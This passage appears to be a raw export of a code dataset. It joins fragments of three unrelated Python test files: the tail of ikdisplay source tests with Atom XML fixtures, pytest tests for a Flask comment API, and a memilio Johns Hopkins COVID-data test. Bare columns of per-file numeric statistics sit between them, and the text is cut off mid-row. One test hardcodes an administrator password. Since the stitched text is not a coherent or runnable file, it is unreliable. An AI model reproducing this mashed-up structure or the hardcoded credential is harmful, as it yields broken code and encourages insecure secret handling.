<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/403/167544-600-375.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/167544"/>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
<agent xmlns='http://mediamatic.nl/ns/anymeta/'>
<id xmlns='http://www.w3.org/2005/Atom'>http://www.mediamatic.net/id/28345</id>
</agent>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertIdentical(None, notification)
class CheckinsSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.CheckinsSource}.
"""
def setUp(self):
site = source.Site(uri=u'http://ixion.local/')
self.source = source.CheckinsSource(site=site)
def test_formatPayloadCheckin(self):
"""
A checkin entry
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2011-05-06T15:41:08+02:00</published>
<updated>2011-05-06T15:41:08+02:00</updated>
<id>http://ixion.local/activity/1541</id>
<title type="html"><a href="http://ixion.local/person/964/nl">Arjan van der Wal</a> was bij <a href="http://ixion.local/page/113/nl">Amsterdam</a>.</title>
<link href="http://ixion.local/page/113/nl" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/checkin</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/113</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/location</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Amsterdam</title>
<link xmlns="http://www.w3.org/2005/Atom" href="http://ixion.local/page/113/nl" rel="alternate"/>
</object>
<target xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/964</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Arjan van der Wal</title>
<link xmlns="http://www.w3.org/2005/Atom" href="http://ixion.local/person/964/nl" rel="alternate"/>
<link xmlns="http://www.w3.org/2005/Atom" href="http://ixion.local/image/570/965-200-200.jpg" rel="enclosure"/>
<link xmlns="http://www.w3.org/2005/Atom" href="http://ixion.local/figure/964" rel="figure"/>
</target>
<author>
<id>http://ixion.local/id/964</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<link href="http://ixion.local/person/964/nl" rel="alternate"/>
<link href="http://ixion.local/image/570/965-200-200.jpg" rel="enclosure"/>
<link href="http://ixion.local/figure/964" rel="figure"/>
<name>Arjan van der Wal</name>
<uri>http://ixion.local/person/964/nl</uri>
</author>
<agent xmlns="http://mediamatic.nl/ns/anymeta/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/1</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns="http://www.w3.org/2005/Atom"/>
<link xmlns="http://www.w3.org/2005/Atom" href="http://ixion.local/id/1" rel="alternate"/>
</agent>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Arjan van der Wal', notification['title'])
self.assertEquals(u'was at Amsterdam', notification['subtitle'])
| 40.069193
| 335
| 0.645177
| 6,487
| 48,644
| 4.807153
| 0.078156
| 0.035242
| 0.036557
| 0.04265
| 0.831484
| 0.80878
| 0.776167
| 0.755868
| 0.715335
| 0.689232
| 0
| 0.068699
| 0.177987
| 48,644
| 1,213
| 336
| 40.102226
| 0.711174
| 0.039512
| 0
| 0.674779
| 0
| 0.182522
| 0.670612
| 0.068549
| 0
| 0
| 0
| 0
| 0.06969
| 1
| 0.065265
| false
| 0
| 0.007743
| 0.002212
| 0.102876
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d350dc3cd4ce6f1091c4e0955b2d66d12905af93
| 6,634
|
py
|
Python
|
Backend/test/unit/test_comment.py
|
nemkrisz11/Computer-Security-Homework-2021-SHAjt
|
f60d81b38e1c82a1618e7d83179b36318905d00c
|
[
"Apache-2.0"
] | null | null | null |
Backend/test/unit/test_comment.py
|
nemkrisz11/Computer-Security-Homework-2021-SHAjt
|
f60d81b38e1c82a1618e7d83179b36318905d00c
|
[
"Apache-2.0"
] | 56
|
2021-10-01T13:31:21.000Z
|
2021-12-03T09:58:04.000Z
|
Backend/test/unit/test_comment.py
|
nemkrisz11/Computer-Security-Homework-2021-SHAjt
|
f60d81b38e1c82a1618e7d83179b36318905d00c
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from datetime import datetime
from fixtures import client, token
from io import BytesIO
from flaskapp.database.models import Comment
@pytest.mark.username("testuser")
@pytest.mark.password("test1234")
def test_comments(client, token):
data = {
'caffId': '61a559807aa83d946960d4f2',
'comment': 'Test Comment'
}
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 200 and resp.is_json and len(resp.json['comments']) == 0
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json=data)
assert resp.status_code == 200 and resp.is_json and "comment created successful" in resp.json["message"]
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 200 and resp.is_json and len(resp.json['comments']) == 1
@pytest.mark.username("testuser")
@pytest.mark.password("test1234")
def test_comments_misuse(client, token):
# Bad CaffId
resp = client.get("/comment?caffId=00a000000aa00a000000a0a0", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 404 and resp.is_json and "file does not exist" in resp.json["errorMessage"]
# No comment body
resp = client.post("/comment?caffId=61a559807aa83d946960d4f2", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "body cannot be empty" in resp.json["errorMessage"]
# CaffId is none
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json={'caffId': None, 'comment': 'Test Comment'})
assert resp.status_code == 400 and resp.is_json and "caffId cannot be empty" in resp.json["errorMessage"]
# No such CAFF
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json={'caffId': '61a559807aa83d946960d4ff', 'comment': 'Test Comment'})
assert resp.status_code == 400 and resp.is_json and "file does not exist" in resp.json["errorMessage"]
# Comment is none
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json={'caffId': '61a559807aa83d946960d4f2', 'comment': None})
assert resp.status_code == 400 and resp.is_json and "comment cannot be empty" in resp.json["errorMessage"]
# Comment too long
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json={'caffId': '61a559807aa83d946960d4f2', 'comment': "a" * 210})
assert resp.status_code == 400 and resp.is_json and "comment too long" in resp.json["errorMessage"]
# Incorrect page and per-page numbers
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2&page=0", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "invalid page number" in resp.json["errorMessage"]
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2&perpage=0", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "invalid per page number" in resp.json["errorMessage"]
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2&perpage=-1", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "invalid per page number" in resp.json["errorMessage"]
resp = client.get("/comment?caffId=61a559807aa83d946960d4f2&page=50000", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 200 and resp.is_json and len(resp.json['comments']) == 0
@pytest.mark.username("testuser")
@pytest.mark.password("test1234")
def test_comments_delete_without_privilege(client, token):
data = {
'caffId': '61a559807aa83d946960d4f2',
'comment': 'Test Comment'
}
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json=data)
assert resp.status_code == 200 and resp.is_json and "comment created successful" in resp.json["message"]
resp = client.delete("/comment?caffId=61a559807aa83d946960d4f2&commentId=0",
headers={"Authorization": "Bearer " + token})
assert resp.status_code == 403 and resp.is_json and "forbidden interaction" in resp.json["errorMessage"]
@pytest.mark.username("testadmin")
@pytest.mark.password("DLee7ono7LVT5qiH7bkAxWgDfeegMNSj")
def test_comments_delete(client, token):
data = {
'caffId': '61a559807aa83d946960d4f2',
'comment': 'Test Comment'
}
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json=data)
assert resp.status_code == 200 and resp.is_json and "comment created successful" in resp.json["message"]
resp = client.delete("/comment?caffId=61a559807aa83d946960d4f2&commentId=0",
headers={"Authorization": "Bearer " + token})
assert resp.status_code == 200 and resp.is_json and "comment deleted successful" in resp.json["message"]
@pytest.mark.username("testadmin")
@pytest.mark.password("DLee7ono7LVT5qiH7bkAxWgDfeegMNSj")
def test_comments_delete_misuse(client, token):
data = {
'caffId': '61a559807aa83d946960d4f2',
'comment': 'Test Comment'
}
resp = client.post("/comment", headers={"Authorization": "Bearer " + token},
json=data)
assert resp.status_code == 200 and resp.is_json and "comment created successful" in resp.json["message"]
# No caff id in parameters
resp = client.delete("/comment", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "caff id cannot be empty" in resp.json["errorMessage"]
# No comment id in parameters
resp = client.delete("/comment?caffId=61a559807aa83d946960d4f2", headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "comment id cannot be empty" in resp.json["errorMessage"]
# No such comment
resp = client.delete("/comment?caffId=61a559807aa83d946960d4f2&commentId=100",
headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "comment not found" in resp.json["errorMessage"]
# No such CAFF
resp = client.delete("/comment?caffId=123&commentId=0",
headers={"Authorization": "Bearer " + token})
assert resp.status_code == 400 and resp.is_json and "comment not found" in resp.json["errorMessage"]
| 50.641221
| 122
| 0.681188
| 783
| 6,634
| 5.699872
| 0.114943
| 0.049294
| 0.128165
| 0.152812
| 0.904997
| 0.882142
| 0.878557
| 0.820972
| 0.809545
| 0.776608
| 0
| 0.083179
| 0.184504
| 6,634
| 131
| 123
| 50.641221
| 0.741774
| 0.030901
| 0
| 0.565217
| 0
| 0
| 0.345902
| 0.127766
| 0
| 0
| 0
| 0
| 0.23913
| 1
| 0.054348
| false
| 0.054348
| 0.054348
| 0
| 0.108696
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
d3a7bf10ecea6a176edd341e18efd211a86d079c
| 20,027
|
py
|
Python
|
pycode/memilio-epidata/memilio/epidata_test/test_epidata_get_jh_data.py
|
DLR-SC/memilio
|
e83243df95e21b5841e3bc077a667fe5446da866
|
[
"Apache-2.0"
] | 9
|
2021-08-24T11:01:41.000Z
|
2022-03-16T12:45:39.000Z
|
pycode/memilio-epidata/memilio/epidata_test/test_epidata_get_jh_data.py
|
DLR-SC/memilio
|
e83243df95e21b5841e3bc077a667fe5446da866
|
[
"Apache-2.0"
] | 197
|
2021-08-16T15:38:44.000Z
|
2022-03-31T14:37:24.000Z
|
pycode/memilio-epidata/memilio/epidata_test/test_epidata_get_jh_data.py
|
DLR-SC/memilio
|
e83243df95e21b5841e3bc077a667fe5446da866
|
[
"Apache-2.0"
] | 3
|
2021-09-28T08:29:02.000Z
|
2022-03-16T12:45:42.000Z
|
#############################################################################
# Copyright (C) 2020-2021 German Aerospace Center (DLR-SC)
#
# Authors:
#
# Contact: Martin J. Kuehn <Martin.Kuehn@DLR.de>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#############################################################################
import unittest
from pyfakefs import fake_filesystem_unittest
import os
import pandas as pd
from memilio.epidata import getJHData as gJHD
from memilio.epidata import getDataIntoPandasDataFrame as gD
from unittest.mock import patch
class TestGetJHData(fake_filesystem_unittest.TestCase):
path = '/home/JHData'
str_FullData_JohnHopkins = \
("""[{"Date":"2020-01-22","Country\/Region":"China","Province\/State":"Anhui",
"Confirmed":1,"Recovered":0.0,"Deaths":0},
{"Date":"2020-02-05","Country\/Region":"Germany","Province\/State":null,
"Confirmed":12,"Recovered":0.0,"Deaths":0},
{"Date":"2020-02-07","Country\/Region":"Germany","Province\/State":null,
"Confirmed":13,"Recovered":0.0,"Deaths":0},
{"Date":"2021-01-04","Country\/Region":"Germany","Province\/State":null,
"Confirmed":1796216,"Recovered":1445442.0,"Deaths":35748},
{"Date":"2020-02-05","Country\/Region":"France","Province\/State":"Guadeloupe",
"Confirmed":20,"Recovered":30,"Deaths":10},
{"Date":"2020-09-26","Country\/Region":"France","Province\/State":"Guadeloupe",
"Confirmed":4487,"Recovered":2199.0,"Deaths":42},
{"Date":"2020-09-26","Country\/Region":"France","Province\/State":"French Polynesia",
"Confirmed":1579,"Recovered":1335.0,"Deaths":6},
{"Date":"2020-09-26","Country\/Region":"France","Province\/State":"French Guiana",
"Confirmed":9863,"Recovered":9500.0,"Deaths":65},
{"Date":"2020-09-26","Country\/Region":"France","Province\/State":"Martinique",
"Confirmed":1290,"Recovered":98.0,"Deaths":20},
{"Date":"2020-09-26","Country\/Region":"France","Province\/State":"Mayotte",
"Confirmed":3541,"Recovered":2964.0,"Deaths":40},
{"Date":"2020-02-26","Country\/Region":"Spain","Province\/State":null,
"Confirmed":13,"Recovered":2.0,"Deaths":0},
{"Date":"2020-03-02","Country\/Region":"Spain","Province\/State":null,
"Confirmed":120,"Recovered":2.0,"Deaths":0},
{"Date":"2020-02-02","Country\/Region":"Italy","Province\/State":null,
"Confirmed":2,"Recovered":0.0,"Deaths":0},
{"Date":"2020-02-03","Country\/Region":"Italy","Province\/State":null,
"Confirmed":2,"Recovered":0.0,"Deaths":0},
{"Date":"2020-03-31","Country\/Region":"US","Province\/State":null,
"Confirmed":192301,"Recovered":7024.0,"Deaths":5278},
{"Date":"2020-04-01","Country\/Region":"US","Province\/State":null,
"Confirmed":224544,"Recovered":8474.0,"Deaths":6539},
{"Date":"2020-02-20","Country\/Region":"Korea, South","Province\/State":null,
"Confirmed":104,"Recovered":16.0,"Deaths":1},
{"Date":"2020-02-21","Country\/Region":"Korea, South","Province\/State":null,
"Confirmed":204,"Recovered":16.0,"Deaths":2},
{"Date":"2020-01-22","Country\/Region":"Afghanistan","Province\/State":null,
"Confirmed":0,"Recovered":0.0,"Deaths":0},
{"Date":"2020-01-23","Country\/Region":"Afghanistan","Province\/State":null,
"Confirmed":0,"Recovered":0.0,"Deaths":0}]""")
def setUp(self):
self.setUpPyfakefs()
def write_jh_data(self, out_folder):
file_jh = "FullData_JohnHopkins.json"
file_jh_with_path = os.path.join(out_folder, file_jh)
with open(file_jh_with_path, 'w') as f:
f.write(self.str_FullData_JohnHopkins)
def test_get_JH_Data(self):
# Test without downloading data
[read_data, file_format, out_folder, no_raw] \
= [True, "json", self.path, False]
gD.check_dir(out_folder)
# Test case where file does not exist
file = "FullData_JohnHopkins.json"
file_with_path = os.path.join(out_folder, file)
with self.assertRaises(SystemExit) as cm:
gJHD.get_jh_data(read_data, file_format, out_folder, no_raw)
self.assertEqual(cm.exception.code,
"Error: The file: " + file_with_path + " does not exist. Call program without -r "
"flag to get it.")
# Test case where file exists
# write files which should be read in by program
self.write_jh_data(out_folder)
# check if expected file is written
self.assertEqual(len(os.listdir(self.path)), 1)
gJHD.get_jh_data(read_data, file_format, out_folder, no_raw)
# check if expected files are written
# 7 country-folders+3 all countries-files
self.assertEqual(len(os.listdir(self.path)), 3 + 7)
# check if files are written in folders
directory_ger = os.path.join(out_folder, 'Germany/')
directory_es = os.path.join(out_folder, 'Spain/')
directory_fr = os.path.join(out_folder, 'France/')
directory_it = os.path.join(out_folder, 'Italy/')
directory_us = os.path.join(out_folder, 'US/')
directory_rok = os.path.join(out_folder, 'SouthKorea/')
directory_prc = os.path.join(out_folder, 'China/')
self.assertEqual(len(os.listdir(directory_ger)), 1)
self.assertEqual(len(os.listdir(directory_es)), 1)
self.assertEqual(len(os.listdir(directory_fr)), 1)
self.assertEqual(len(os.listdir(directory_it)), 1)
self.assertEqual(len(os.listdir(directory_us)), 1)
self.assertEqual(len(os.listdir(directory_rok)), 1)
self.assertEqual(len(os.listdir(directory_prc)), 1)
# test whole Germany file
f_read = os.path.join(directory_ger, "whole_country_Germany_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual(df[(df["Date"] == "2021-01-04")]["Recovered"].item(), 1445442.0)
# test whole France file (country with Provinces)
f_read = os.path.join(directory_fr, "whole_country_France_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
# check if data is added up correctly
self.assertEqual(df[(df["Date"] == "2020-09-26")]["Recovered"].item(), 2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05")]["Recovered"].item(), 30)
# test all_countries_jh file
f_read = os.path.join(self.path, "all_countries_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'Germany') & (df["Date"] == "2021-01-04")]["Recovered"].item(),
1445442.0)
# check if Korea, South is renamed
self.assertEqual('SouthKorea' in df["CountryRegion"].values, True)
self.assertEqual('Afghanistan' in df["CountryRegion"].values, True)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05") & (df["CountryRegion"] == 'France')]["Recovered"].item(), 30)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Confirmed"].item(),
4487 + 1579 + 9863 + 1290 + 3541)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Deaths"].item(),
42 + 6 + 65 + 20 + 40)
# test all_provincestate_jh file
f_read = os.path.join(self.path, "all_provincestate_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "ProvinceState", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, False)
self.assertEqual('China' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'China') & (df["Date"] == "2020-01-22")].shape[0], 1)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")].shape[0], 5)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26") & (
df['ProvinceState'] == 'Martinique')]["Deaths"].item(), 20)
@patch('memilio.epidata.getJHData.gd.loadCsv')
def test_get_JH_Data_Download(self, mock_loadcsv):
# Test without downloading data
[read_data, file_format, out_folder, no_raw] \
= [False, "json", self.path, False]
gD.check_dir(out_folder)
mock_loadcsv.return_value = pd.read_json(self.str_FullData_JohnHopkins)
gJHD.get_jh_data(read_data, file_format, out_folder, no_raw)
mock_loadcsv.assert_called_once()
# have to create same data as read_data=True
# check if expected files are written
# 7 country-folders+3 all countries-files
self.assertEqual(len(os.listdir(self.path)), 3 + 7)
self.assertTrue("FullData_JohnHopkins.json" in os.listdir(self.path))
# check if files are written in folders
directory_ger = os.path.join(out_folder, 'Germany/')
directory_es = os.path.join(out_folder, 'Spain/')
directory_fr = os.path.join(out_folder, 'France/')
directory_it = os.path.join(out_folder, 'Italy/')
directory_us = os.path.join(out_folder, 'US/')
directory_rok = os.path.join(out_folder, 'SouthKorea/')
directory_prc = os.path.join(out_folder, 'China/')
self.assertEqual(len(os.listdir(directory_ger)), 1)
self.assertEqual(len(os.listdir(directory_es)), 1)
self.assertEqual(len(os.listdir(directory_fr)), 1)
self.assertEqual(len(os.listdir(directory_it)), 1)
self.assertEqual(len(os.listdir(directory_us)), 1)
self.assertEqual(len(os.listdir(directory_rok)), 1)
self.assertEqual(len(os.listdir(directory_prc)), 1)
# test whole Germany file
f_read = os.path.join(directory_ger, "whole_country_Germany_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual(df[(df["Date"] == "2021-01-04")]["Recovered"].item(), 1445442.0)
# test whole France file (country with Provinces)
f_read = os.path.join(directory_fr, "whole_country_France_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
# check if data is added up correctly
self.assertEqual(df[(df["Date"] == "2020-09-26")]["Recovered"].item(), 2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05")]["Recovered"].item(), 30)
# test all_countries_jh file
f_read = os.path.join(self.path, "all_countries_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'Germany') & (df["Date"] == "2021-01-04")]["Recovered"].item(),
1445442.0)
# check if Korea, South is renamed
self.assertEqual('SouthKorea' in df["CountryRegion"].values, True)
self.assertEqual('Afghanistan' in df["CountryRegion"].values, True)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05") & (df["CountryRegion"] == 'France')]["Recovered"].item(), 30)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Confirmed"].item(),
4487 + 1579 + 9863 + 1290 + 3541)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Deaths"].item(),
42 + 6 + 65 + 20 + 40)
# test all_provincestate_jh file
f_read = os.path.join(self.path, "all_provincestate_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "ProvinceState", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, False)
self.assertEqual('China' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'China') & (df["Date"] == "2020-01-22")].shape[0], 1)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")].shape[0], 5)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26") & (
df['ProvinceState'] == 'Martinique')]["Deaths"].item(), 20)
@patch('memilio.epidata.getJHData.gd.loadCsv')
def test_get_JH_Data_Download_omit_raw(self, mock_loadcsv):
# Test without downloading data
[read_data, file_format, out_folder, no_raw] \
= [False, "json", self.path, True]
gD.check_dir(out_folder)
mock_loadcsv.return_value = pd.read_json(self.str_FullData_JohnHopkins)
gJHD.get_jh_data(read_data, file_format, out_folder, no_raw)
mock_loadcsv.assert_called_once()
# have to create same data as read_data=True
# check if expected files are written
# 7 country-folders+3 all countries-files
self.assertEqual(len(os.listdir(self.path)), 2 + 7)
self.assertTrue("FullData_JohnHopkins.json" not in os.listdir(self.path))
# check if files are written in folders
directory_ger = os.path.join(out_folder, 'Germany/')
directory_es = os.path.join(out_folder, 'Spain/')
directory_fr = os.path.join(out_folder, 'France/')
directory_it = os.path.join(out_folder, 'Italy/')
directory_us = os.path.join(out_folder, 'US/')
directory_rok = os.path.join(out_folder, 'SouthKorea/')
directory_prc = os.path.join(out_folder, 'China/')
self.assertEqual(len(os.listdir(directory_ger)), 1)
self.assertEqual(len(os.listdir(directory_es)), 1)
self.assertEqual(len(os.listdir(directory_fr)), 1)
self.assertEqual(len(os.listdir(directory_it)), 1)
self.assertEqual(len(os.listdir(directory_us)), 1)
self.assertEqual(len(os.listdir(directory_rok)), 1)
self.assertEqual(len(os.listdir(directory_prc)), 1)
# test whole Germany file
f_read = os.path.join(directory_ger, "whole_country_Germany_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual(df[(df["Date"] == "2021-01-04")]["Recovered"].item(), 1445442.0)
# test whole France file (country with Provinces)
f_read = os.path.join(directory_fr, "whole_country_France_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
# check if data is added up correctly
self.assertEqual(df[(df["Date"] == "2020-09-26")]["Recovered"].item(), 2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05")]["Recovered"].item(), 30)
# test all_countries_jh file
f_read = os.path.join(self.path, "all_countries_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'Germany') & (df["Date"] == "2021-01-04")]["Recovered"].item(),
1445442.0)
# check if Korea, South is renamed
self.assertEqual('SouthKorea' in df["CountryRegion"].values, True)
self.assertEqual('Afghanistan' in df["CountryRegion"].values, True)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["Date"] == "2020-02-05") & (df["CountryRegion"] == 'France')]["Recovered"].item(), 30)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Recovered"].item(),
2199.0 + 1335.0 + 9500.0 + 98.0 + 2964.0)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Confirmed"].item(),
4487 + 1579 + 9863 + 1290 + 3541)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")]["Deaths"].item(),
42 + 6 + 65 + 20 + 40)
# test all_provincestate_jh file
f_read = os.path.join(self.path, "all_provincestate_jh.json")
df = pd.read_json(f_read)
data_list = df.columns.values.tolist()
self.assertEqual(data_list, ["CountryRegion", "ProvinceState", "Date", "Confirmed", "Recovered", "Deaths"])
self.assertEqual('Germany' in df["CountryRegion"].values, False)
self.assertEqual('China' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'China') & (df["Date"] == "2020-01-22")].shape[0], 1)
self.assertEqual('France' in df["CountryRegion"].values, True)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26")].shape[0], 5)
self.assertEqual(df[(df["CountryRegion"] == 'France') & (df["Date"] == "2020-09-26") & (
df['ProvinceState'] == 'Martinique')]["Deaths"].item(), 20)
if __name__ == '__main__':
unittest.main()
| 52.564304
| 120
| 0.612423
| 2,528
| 20,027
| 4.738528
| 0.10443
| 0.118958
| 0.051089
| 0.0571
| 0.854161
| 0.852826
| 0.839636
| 0.80015
| 0.781952
| 0.76751
| 0
| 0.064397
| 0.202127
| 20,027
| 380
| 121
| 52.702632
| 0.685274
| 0.094622
| 0
